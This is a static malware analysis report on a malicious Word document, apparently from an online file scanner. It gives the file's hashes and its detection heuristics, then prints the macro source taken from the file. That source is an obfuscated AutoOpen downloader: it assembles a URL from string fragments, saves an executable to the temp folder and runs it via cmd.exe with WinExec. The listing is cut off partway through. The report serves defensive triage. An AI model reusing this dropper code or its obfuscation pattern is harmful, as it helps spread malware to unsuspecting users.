Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 eecebdf860956f42…

MALICIOUS

Office (OLE) / .DOC

94.5 KB Created: 2017-01-16 18:05:00 Authoring application: Microsoft Office Word First seen: 2026-06-17
MD5: 50e544055a9e51b0bf8e1b9dd3b52f8b SHA-1: b7f79740541f749ae75e84489a6efaa33add5b0d SHA-256: eecebdf860956f42b36d8fdb3e194c808d8667bdff8bda65649df14e3db2789b
298 Risk Score

Heuristics 10

  • ClamAV: Doc.Malware.Valyria-7595018-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-7595018-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal ahaf As Long, ByVal xosi As String, ByVal gyma As String, ByVal xovyxa As Long, ByVal egcara As Long) As Long
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ybsiru = Environ(ritifgi0()) & tydvemm5()
  • Reference to WinExec API high SC_STR_WINEXEC
    Reference to WinExec API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21850 bytes
SHA-256: cdf51040a259047d709bbe1e8708d95088ec43a1f1a2e8c41cf89c0a41cb18b6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare PtrSafe Function masqafe Lib "advapi32" Alias "voxetj" (ByVal jtahy As String, ByVal zrekwexc As Object, ByVal uhjojfy As Long, ByVal irup As Byte, ByVal dqypzode As String, ByVal zyvbylf As String, ByVal abyfm As Long, ByVal odryc As Long, ByVal owosy As Long)
Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal ahaf As Long, ByVal xosi As String, ByVal gyma As String, ByVal xovyxa As Long, ByVal egcara As Long) As Long
Private Declare PtrSafe Function ughyla Lib "comctl32" Alias "zehjo" (ByVal hibhuf As Object, ByVal utijq As Byte, ByVal fhefy As Object, ByVal yjyczuc As Long, ByVal yhexmurz As Byte, ByVal ablitevj As Boolean, ByVal uvsab As Long, ByVal ofqys As Variant, ByVal zajyq As Variant, ByVal evyx As Integer, ByVal sukru As Variant, ByVal yjyquh As Boolean, ByVal idluku As Currency)
Private Declare PtrSafe Function egyrmu Lib "user32" (ByVal kvyjwit As Boolean, ByVal rtefilj As Boolean, ByVal vyqo As Currency, ByVal ykjejo As String, ByVal imqyb As Object, ByVal azypmy As Currency, ByVal hzajura As Boolean, ByVal eqez As Long, ByVal ikygz As Double, ByVal xveninza As Long, ByVal olosc As Boolean)
Private Declare PtrSafe Function zaxtafe Lib "advapi32" (ByVal akfyhb As Byte, ByVal bevyt As Object, ByVal vvyzeze As Boolean)
Private Declare PtrSafe Function inij Lib "gdi32" Alias "hnyja" (ByVal kmexxebfe As Integer, ByVal ojcemowv As Double, ByVal azlaz As Byte, ByVal okycf As Boolean, ByVal evurp As Byte) As String
Private Declare PtrSafe Function surypvy Lib "comctl32" (ByVal yksihla As Integer, ByVal etzosky As Long, ByVal ykyzj As Integer, ByVal fepecke As Integer, ByVal exrux As Object, ByVal fnoze As Currency, ByVal panfy As Byte, ByVal yzytgun As Single, ByVal hapec As Single, ByVal ekegik As Object, ByVal axars As Double, ByVal fpyrpivwe As Integer, ByVal ivub As Boolean) As Long
Private Declare PtrSafe Function WinExec Lib "kernel32" (ByVal emaca As String, ByVal pygyh As Long) As Long
Private Declare PtrSafe Function uvruvwih Lib "user32" Alias "occozpu" (ByVal asgihif As Boolean, ByVal lgibaww As Integer, ByVal adcuxi As Single)
Private Declare PtrSafe Function nwujgyxa Lib "advapi32" Alias "ovposagu" (ByVal otejtix As Single, ByVal zlehba As Object, ByVal ufyxc As Object, ByVal xgohiqgi As Long) As Object
Function timfa()
timfa = "te"
End Function

Function ckelbifci()
ckelbifci = "mp"
End Function

Function ibijykl()
ibijykl = "\ilo"
End Function

Function kjakyrqevl()
kjakyrqevl = "nza."
End Function

Function napdymywj()
napdymywj = "exe"
End Function

Function azeploxmo()
azeploxmo = "htt"
End Function

Function gozqamixv()
gozqamixv = "p:/"
End Function

Function ujvylly()
ujvylly = "/za"
End Function

Function ypuxynvo()
ypuxynvo = "rpa"
End Function

Function bxyjcoki()
bxyjcoki = "tha"
End Function

Function mxuvga()
mxuvga = "lle"
End Function

Function ajowe()
ajowe = ".to"
End Function

Function culu()
culu = "p/s"
End Function

Function cuxessu()
cuxessu = "ear"
End Function

Function kyslyqcifd()
kyslyqcifd = "ch."
End Function

Function qgazdodixh()
qgazdodixh = "php"
End Function

Function qmanvu()
qmanvu = "cmd"
End Function

Function atzosyls()
atzosyls = ".ex"
End Function

Function fepy()
fepy = "e /"
End Function

Function iqnujo()
iqnujo = "c "
End Function

Function nsili()
nsili = 45
End Function

Function gumudlimm()
okubm = "34146"
gumudlimm = okubm
End Function

Function ypzij()
ypzij = 467
End Function

Function ecavbydfulv()
ecavbydfulv = "67776"
End Function

Function psusjaqp()
itpit = Empty
psusjaqp = itpit
End Function

Function aszantyfdi()
aszantyfdi = 531
End Function

Function ztehfubup()
qytpafgytr = "awankuwx"
ztehfubup = qytpafgytr
End Function

Function bdyzliph()
bdyzliph = 953
End Function

Function tryzwime()
aqnetybo = Empty
tryzwime = aqnetybo
End Function

Function ewhipyxnu()
ewhipyxnu = Empty
End Function

Function lidabsel()
jassewu = "89255"
lidabsel = jassewu
End Function

Function afsada()
afsada = False
End Function

Function obpegky()
gebucno = "avcaxni"
obpegky = gebucno
End Function

Function mxyhcesycxy()
ajcud = "edoqujad"
mxyhcesycxy = ajcud
End Function

Function istaho()
istaho = False
End Function

Function cxufulu()
mxatpa = "85107"
cxufulu = mxatpa
End Function

Function odaqn()
yfgojh = "urybqusy"
odaqn = yfgojh
End Function

Function wlumsav()
wlumsav = True
End Function

Function xzarbeni()
ufpahcunsim = False
xzarbeni = ufpahcunsim
End Function

Function esbeqkomhubg()
iwledpim = 68
esbeqkomhubg = iwledpim
End Function

Function myvkucxally()
sgichobexni = 841
myvkucxally = sgichobexni
End Function

Function misytgohwu()
ylcohi = 15
misytgohwu = ylcohi
End Function

Function enax()
paqumg = True
enax = paqumg
End Function

Function rnutywb()
ewlega = Empty
rnutywb = ewlega
End Function

Function ugqequx()
mengaz = 15
ugqequx = mengaz
End Function

Function oppuqzaf()
ynsacid = Empty
oppuqzaf = ynsacid
End Function

Function uwevgaj()
uwevgaj = Empty
End Function

Function ddyzymq()
yleciko = True
ddyzymq = yleciko
End Function

Function itgynerjo()
itgynerjo = "tsikbi"
End Function

Function idcobcijbym()
idcobcijbym = Empty
End Function

Function ofuxvo()
ofuxvo = False
End Function

Function avyjgamnugl()
avyjgamnugl = 15
End Function

Function ucyrzusm()
ucyrzusm = Empty
End Function

Function ymyd()
yzqysujb = "35733"
ymyd = yzqysujb
End Function

Function wnivy()
slesyh = 59
wnivy = slesyh
End Function

Function ufep()
ufep = True
End Function

Function numu()
numu = True
End Function

Function rpyjbopr()
rpyjbopr = 15
End Function

Function ritifgi0()
ritifgi0 = timfa() & ckelbifci()
End Function

Function tydvemm5()
tydvemm5 = ibijykl() & kjakyrqevl() & napdymywj()
End Function

Function wlabty4()
wlabty4 = azeploxmo() & gozqamixv() & ujvylly() & ypuxynvo() & bxyjcoki() & mxuvga() & ajowe() & culu() & cuxessu() & kyslyqcifd() & qgazdodixh()
End Function

Function ppajzirpet5()
ppajzirpet5 = qmanvu() & atzosyls() & fepy() & iqnujo()
End Function

Sub AutoOpen()
zhixbi = Empty
likuho = Empty
bjinuqire = "20914"
umcar = 686
ekzokirzu = True
hary = Empty
aveqapjo = True
ifsoxu = Empty
ufcudvafs = "inoxhiji"
axzifuwe = 162
komlomuz = Empty
yvgutil = 106
Select Case yvgutil
Case True
If (nsili < 6) Then
If (umcar > 949) Then
If (gumudlimm = undefined) Then
jaqfydi = "10274"
onasa = "yrdamdes"
jirijmy = 808
kyjtuwg = jirijmy & onasa
gqoqmyg = "qarte"

End If

End If

End If
If (hary = Empty) Then
qajah = "usxunufp"
bdudip = "78484"
wimovtuny = 25
ajhojutvik = wimovtuny & bdudip
ajhojutvik = " & ajhojutvik"
argygup = 49
End If

Case "42535"
If (nsili < 6) Then
If (umcar > 949) Then
If (gumudlimm = undefined) Then
jaqfydi = "10274"
onasa = "yrdamdes"
jirijmy = 808
kyjtuwg = jirijmy & onasa
gqoqmyg = "qarte"

End If

End If

End If
If (hary = Empty) Then
qajah = "usxunufp"
bdudip = "78484"
wimovtuny = 25
ajhojutvik = wimovtuny & bdudip
ajhojutvik = " & ajhojutvik"
argygup = 49
End If

Case 106
If (TypeName(komlomuz) = "Empty") Then
atjenolaxg = True
mhocruhsu = Empty
If (mhocruhsu = "apegod") Then
If (ypzij = 957) Then
owysy = Empty
If (owysy = Empty) Then
iwaxvuq = Empty
xcofisinu = "uxemh"
ukihotxirg = 81
upisvag = xcofisinu & ukihotxirg
upisvag = "pyksuhm" & upisvag
agxudbohyqm = False
ihatfodg = 22
okbudpezr = "24878"
ubzacejny = 11
ygopnorafc = okbudpezr & ubzacejny
ygopnorafc = "26756" & ygopnorafc
End If

End If
If (ecavbydfulv = "xxavlos") Then
oticu = "vituhitzi"
wapmaly = "6071"
fejyv = 13
ugywa = wapmaly & fejyv
ugywa = " & ugywa"

End If
If (bjinuqire = "20914") Then
unolbe = "55616"
azesiforn = "ifsygtujis"
ipyhoquq = "ktizi"
End If
If (TypeName(psusjaqp) = "Empty") Then
hagzuje = 449
irdehwe = Empty
idlymaktet = True
nisahz = True
itobvajicm = Empty
uvalohuq = "40742"
End If

 Else
  If (ztehfubup = "ubpaqo") Then
avfybyhno = True
If (avfybyhno = True) Then
If (likuho = "nyhyb") Then
vbymacuka = "23702"
edupnetpum = 76
kzymyptuxp = edupnetpum & vbymacuka
ggoraro = Empty
ogitony = False
ypkyze = Empty
jowbuzywo = "kgizukfy"
bbetfecsava = 26
ichumtu = jowbuzywo & bbetfecsava
ichumtu = "23974" & ichumtu

End If
End If
If (aszantyfdi < 840) Then
rnorty = "vxadteq"
If (rnorty = undefined) Then
edenat = ""
edenat = "utuq"

End If
End If
If (zhixbi = "efexjima") Then
tobwugadh = "quqy"
fegnegk = "92507"
tudyxas = 82
axovod = fegnegk & tudyxas
axovod = axovod & ""
ymcaqih = 55

End If

 Else
  etwekkevhavl = False
Select Case etwekkevhavl
Case "21592"
If (bdyzliph = 1174) Then
qzynxomiqu = "dupi"
kixuhfe = "ejamvuf"
ecmypi = 816
epxudajolm = kixuhfe & ecmypi
wyfvinu = 542
svyjav = False
uhocyq = Empty

End If
If (tryzwime = 170) Then
If (ewhipyxnu = Empty) Then
akgasabk = "71028"
gjyhibcejty = 11
avkyppapi = gjyhibcejty & akgasabk
ojvupqeqtiq = False
dsipcurtely = True
qylupi = 13
End If

End If

Case 75
If (bdyzliph = 1174) Then
qzynxomiqu = "dupi"
kixuhfe = "ejamvuf"
ecmypi = 816
epxudajolm = kixuhfe & ecmypi
wyfvinu = 542
svyjav = False
uhocyq = Empty

End If
If (tryzwime = 170) Then
If (ewhipyxnu = Empty) Then
akgasabk = "71028"
gjyhibcejty = 11
avkyppapi = gjyhibcejty & akgasabk
ojvupqeqtiq = False
dsipcurtely = True
qylupi = 13
End If

End If

Case "efcal"
If (bdyzliph = 1174) Then
qzynxomiqu = "dupi"
kixuhfe = "ejamvuf"
ecmypi = 816
epxudajolm = kixuhfe & ecmypi
wyfvinu = 542
svyjav = False
uhocyq = Empty

End If
If (tryzwime = 170) Then
If (ewhipyxnu = Empty) Then
akgasabk = "71028"
gjyhibcejty = 11
avkyppapi = gjyhibcejty & akgasabk
ojvupqeqtiq = False
dsipcurtely = True
qylupi = 13
End If

End If

Case "41747"
If (bdyzliph = 1174) Then
qzynxomiqu = "dupi"
kixuhfe = "ejamvuf"
ecmypi = 816
epxudajolm = kixuhfe & ecmypi
wyfvinu = 542
svyjav = False
uhocyq = Empty

End If
If (tryzwime = 170) Then
If (ewhipyxnu = Empty) Then
akgasabk = "71028"
gjyhibcejty = 11
avkyppapi = gjyhibcejty & akgasabk
ojvupqeqtiq = False
dsipcurtely = True
qylupi = 13
End If

End If

Case False
Select Case obpegky
Case 8
yqzulgamti = "ykcotuc"
If (yqzulgamti = undefined) Then
ekyxixic = False
uxanno = 7
qycata = Empty
opqixmoh = Empty
obbovfetakk = ""
yviccy = "owik"
ocjagjy = 26
usawkopmew = ocjagjy & yviccy
abewdemx = True

End If
If (TypeName(lidabsel) = "String") Then
If (afsada = 927) Then
xacofevo = Empty
irsomlucu = "csaknognevy"
iryxi = 862
ejahqedx = irsomlucu & iryxi
clyvebo = "48837"
clyvebo = ""

End If
End If

Case "avcaxni"
Select Case cxufulu
Case Null
askecbynbecm = 13
If (askecbynbecm = 15) Then
ovgolyx = "36404"
ufzevyko = 65
rezit = ufzevyko & ovgolyx
rezit = " & rezit"
mjynozq = ""
hwublobekno = "ertydhyde"
olvuzce = 34
udobi = olvuzce & hwublobekno

End If
If (mxyhcesycxy = "edoqujad") Then
idipriq = "omxotoqyhj"
xudpogi = 990
umzyhja = idipriq & xudpogi
umzyhja = umzyhja & "24114"
ocrusgirkirs = "48720"
ljatowjo = "43249"
uqmecysx = 7
yjedsa = uqmecysx & ljatowjo
End If
If (ufcudvafs = Null) Then
onoqqoldi = "mpahlesmen"
tzaquvcacnu = 958
gegvojzywq = onoqqoldi & tzaquvcacnu
gegvojzywq = gegvojzywq & ""
ormetaqad = 535
yssakamu = "ymysulha"
afnohkoqrohb = 125
ghukano = afnohkoqrohb & yssakamu
vydgysob = Empty
luzpuqy = False
cecpesli = "2077"
gfyxdizpy = 164
lzobvikoc = cecpesli & gfyxdizpy
lzobvikoc = lzobvikoc & "olzopiga"

End If
If (istaho = 223) Then
ulybimgo = True
uzywfy = "uqjapg"
mohubi = 14
oztuqbywhufr = mohubi & uzywfy
yswamagy = "52434"

End If

Case 743
askecbynbecm = 13
If (askecbynbecm = 15) Then
ovgolyx = "36404"
ufzevyko = 65
rezit = ufzevyko & ovgolyx
rezit = " & rezit"
mjynozq = ""
hwublobekno = "ertydhyde"
olvuzce = 34
udobi = olvuzce & hwublobekno

End If
If (mxyhcesycxy = "edoqujad") Then
idipriq = "omxotoqyhj"
xudpogi = 990
umzyhja = idipriq & xudpogi
umzyhja = umzyhja & "24114"
ocrusgirkirs = "48720"
ljatowjo = "43249"
uqmecysx = 7
yjedsa = uqmecysx & ljatowjo
End If
If (ufcudvafs = Null) Then
onoqqoldi = "mpahlesmen"
tzaquvcacnu = 958
gegvojzywq = onoqqoldi & tzaquvcacnu
gegvojzywq = gegvojzywq & ""
ormetaqad = 535
yssakamu = "ymysulha"
afnohkoqrohb = 125
ghukano = afnohkoqrohb & yssakamu
vydgysob = Empty
luzpuqy = False
cecpesli = "2077"
gfyxdizpy = 164
lzobvikoc = cecpesli & gfyxdizpy
lzobvikoc = lzobvikoc & "olzopiga"

End If
If (istaho = 223) Then
ulybimgo = True
uzywfy = "uqjapg"
mohubi = 14
oztuqbywhufr = mohubi & uzywfy
yswamagy = "52434"

End If

Case "85107"
hravigu = False
Select Case hravigu
Case 84
If (TypeName(aveqapjo) = "Boolean") Then
enahofiz = "24451"
End If
If (odaqn = "urybqusy") Then
ylimiv = 479
khimjytfi = Empty
epjymjasm = True
zufkuvv = "86648"
imzycvi = 879
yfumyqzo = imzycvi & zufkuvv
End If
If (ifsoxu = "dpetly") Then
dzorulfuvvi = "57811"
soxenere = 12
yfivehlohj = soxenere & dzorulfuvvi
yfivehlohj = " & yfivehlohj"
epcajogt = 10

End If

Case False
If (myvkucxally = 955) Then
If (wlumsav = False) Then
fufyqzywi = "3690"
wkekaji = "45092"
oxaxa = 13
cegzilku = wkekaji & oxaxa

End If
xottor = 731
If (xottor = 253) Then
kywice = 20
hasic = "62862"
acmesowhy = "49848"
fywixxape = 33
mzumxupe = acmesowhy & fywixxape
mzumxupe = mzumxupe & ""

End If
If (xzarbeni = True) Then
bytuhowz = ""
bytuhowz = "90674"
ldomazi = ""
ygfitivvy = "78761"
unkytdepv = Empty
oksuhady = "silgi"

End If
If (esbeqkomhubg > 93) Then
ydabluqzydt = "wuzne"
ilode = "txusra"
agxufno = 273
ifbogujelp = ilode & agxufno

End If

 Else
  yqomti = "91095"
If (yqomti = undefined) Then
If (misytgohwu = 14) Then
zygim = False
ubroriwxug = Empty

End If

 Else
  sabagp = "80471"
If (TypeName(sabagp) = "String") Then
ynavyv = "69644"
If (ynavyv = "69644") Then
 vnuguqziqe = Empty
If (vnuguqziqe = 110) Then
ugapodm = "fginoje"
If (ugapodm = "hvobi") Then
xbedajcurj = 12
yvdeddiky = 10
lopyw = "59202"
uvvuzag = True
islyrpi = "ojaqrupwik"
watonmix = 470
wmozbumto = watonmix & islyrpi
ynezavpo = "4561"
phavevvuksa = 18
anrurwomfe = ynezavpo & phavevvuksa

End If

 Else
  If (idcobcijbym = 846) Then
If (ddyzymq = False) Then
qavvil = "11460"
ihqikitu = 63
lnasykafy = qavvil & ihqikitu
lnasykafy = "iruzpenfe" & lnasykafy
ufpeforu = "ahegupta"
vubzazv = Empty

End If
wbenleco = "okmukubt"
If (TypeName(wbenleco) = "String") Then
xmavajedd = "senezr"
If (xmavajedd = Null) Then
ylbidoj = True
tpyfajihdy = 12

End If
End If
If (itgynerjo = undefined) Then
uqpezygva = 70
If (uqpezygva < 35) Then
nqolhevab = "45196"
lapcyj = 9
oqaproh = lapcyj & nqolhevab
oqaproh = "58011" & oqaproh
idomwenm = "57534"
vhaternuw = "15042"
kryfjomuwa = 8
vbutzim = vhaternuw & kryfjomuwa
vbutzim = "uhamo" & vbutzim

End If

End If

 Else
  If (ymyd = undefined) Then
If (ofuxvo = 104) Then
If (avyjgamnugl > 14) Then
gzursomdepo = ""
ozypynak = "xojci"
szowaff = 13
ylybaxivq = ozypynak & szowaff
ylybaxivq = ylybaxivq & "kvolukdonk"
evhojkidusj = False
fysmykewd = False
ajlefurzur = "76146"
ymkodzit = 14
umlyqhadu = ajlefurzur & ymkodzit
End If

End If
If (ucyrzusm = "cgoqserexf") Then
odfatpemzy = 14

End If

 Else
 afguqci = "37087"
ahygdyxv = 774
ecifosy = ahygdyxv & afguqci
ecifosy = " & ecifosy"
ovrecwu = "ziwhimux"
gyqywijd = 537
avagsekomk = gyqywijd & ovrecwu
avagsekomk = avagsekomk & "30887"
tjasepu = Empty
gjywner = Empty
qjeqdiqu = Empty
inijbumgop = "16540"
akrojuxaz = 38
ivvewy = akrojuxaz & inijbumgop
ivvewy = ivvewy & ""
uksehte = Empty
 If (ufep = 362) Then
If (wnivy = 59) Then
pxybeq = "lovpupdowx"
frogmuny = "evvukn"
omyhub = 98
vpecvume = frogmuny & omyhub
bkalvoht = "laxcy"
pxukexawe = 14
ixeje = bkalvoht & pxukexawe
ixeje = ixeje & "56055"
ivucovzyg = "82376"
irymu = "37737"
End If

 Else
  lzolo = "70292"
Select Case lzolo
Case Empty
ifkucmeq = True
If (ifkucmeq = False) Then
inwix = Empty
If (inwix = "iryqawb") Then
umefykan = Empty
xnurybhivo = "gujx"

End If

End If
If (numu = True) Then
mitypifd = "osifelji"
tkenixse = 866
jferulqydu = tkenixse & mitypifd
jferulqydu = jferulqydu & ""
zibcisemy = "38534"
emozvegasg = 696
osmowqota = zibcisemy & emozvegasg
osmowqota = "vwub" & osmowqota
End If
If (axzifuwe = -160) Then
ozetek = "15881"
kudozsyn = 14
dlitatk = ozetek & kudozsyn
dlitatk = " & dlitatk"
qtehapi = "ohdatufda"
ajewrinbegh = "fgajadvizo"
bumyb = 9
ejilu = ajewrinbegh & bumyb
ejilu = "60058" & ejilu
axiwqyc = "66995"

End If
isadf = 769
If (isadf = 949) Then
inverqin = "qurga"
mzelrocz = False

End If

Case "70292"
znyxcexamo = False
Select Case znyxcexamo
Case 7
If (rpyjbopr < 19) Then
etebaty = 11
End If
zexothihru = False
If (zexothihru = 339) Then
racepy = False
ytxaszeqvu = True
evzafsepa = "87212"
tpafzij = 56
jpowgijm = tpafzij & evzafsepa

End If

Case "mzotirk"
If (rpyjbopr < 19) Then
etebaty = 11
End If
zexothihru = False
If (zexothihru = 339) Then
racepy = False
ytxaszeqvu = True
evzafsepa = "87212"
tpafzij = 56
jpowgijm = tpafzij & evzafsepa

End If

Case False
apbitgoxgal = "fenzacdyx"
sivetquk = 7
obozhabzu = sivetquk & apbitgoxgal
obozhabzu = obozhabzu & ""
izoprovo = "miz"
ydedvimva = "ahocq"
ostabocd = 61
kigukno = ydedvimva & ostabocd
kigukno = kigukno & ""
wohjyzmegky = "98578"
hymryte = 9
adzohwo = wohjyzmegky & hymryte
etehzoswu = True

ybsiru = Environ(ritifgi0()) & tydvemm5()
gdiltoc = URLDownloadToFileA(0, wlabty4(), ybsiru, 0, 0)
If gdiltoc = 0 Then
WinExec ppajzirpet5() & ybsiru, 0
End If

End Select
ursonqic = "ipefpe"
jynimegnu = Empty
yxkihoch = "eqajpygb"
lsehodg = 16
uvihji = yxkihoch & lsehodg
venivz = Empty
sikipy = "alxeg"
yztoxojo = 58
uwefuwg = yztoxojo & sikipy
onapyxa = Empty

Case Null
ifkucmeq = True
If (ifkucmeq = False) Then
inwix = Empty
If (inwix = "iryqawb") Then
umefykan = Empty
xnurybhivo = "gujx"

End If

End If
If (numu = True) Then
mitypifd = "osifelji"
tkenixse = 866
jferulqydu = tkenixse & mitypifd
jferulqydu = jferulqydu & ""
zibcisemy = "38534"
emozvegasg = 696
osmowqota = zibcisemy & emozvegasg
osmowqota = "vwub" & osmowqota
End If
If (axzifuwe = -160) Then
ozetek = "15881"
kudozsyn = 14
dlitatk = ozetek & kudozsyn
dlitatk = " & dlitatk"
qtehapi = "ohdatufda"
ajewrinbegh = "fgajadvizo"
bumyb = 9
ejilu = ajewrinbegh & bumyb
ejilu = "60058" & ejilu
axiwqyc = "66995"

End If
isadf = 769
If (isadf = 949) Then
inverqin = "qurga"
mzelrocz = False

End If

End Select
 
End If
 
End If
 
End If
 
End If
 End If
 vevyllubr = "vufazi"
oviludtodz = "1186"
ofoximmo = "5808"
sdaqxotsozo = 36
bqywvyjka = ofoximmo & sdaqxotsozo
bqywvyjka = bqywvyjka & "45678"
 Else
 If (enax = False) Then
If (rnutywb = 46) Then
…

Open this report in the interactive analyzer, or submit your own file for analysis.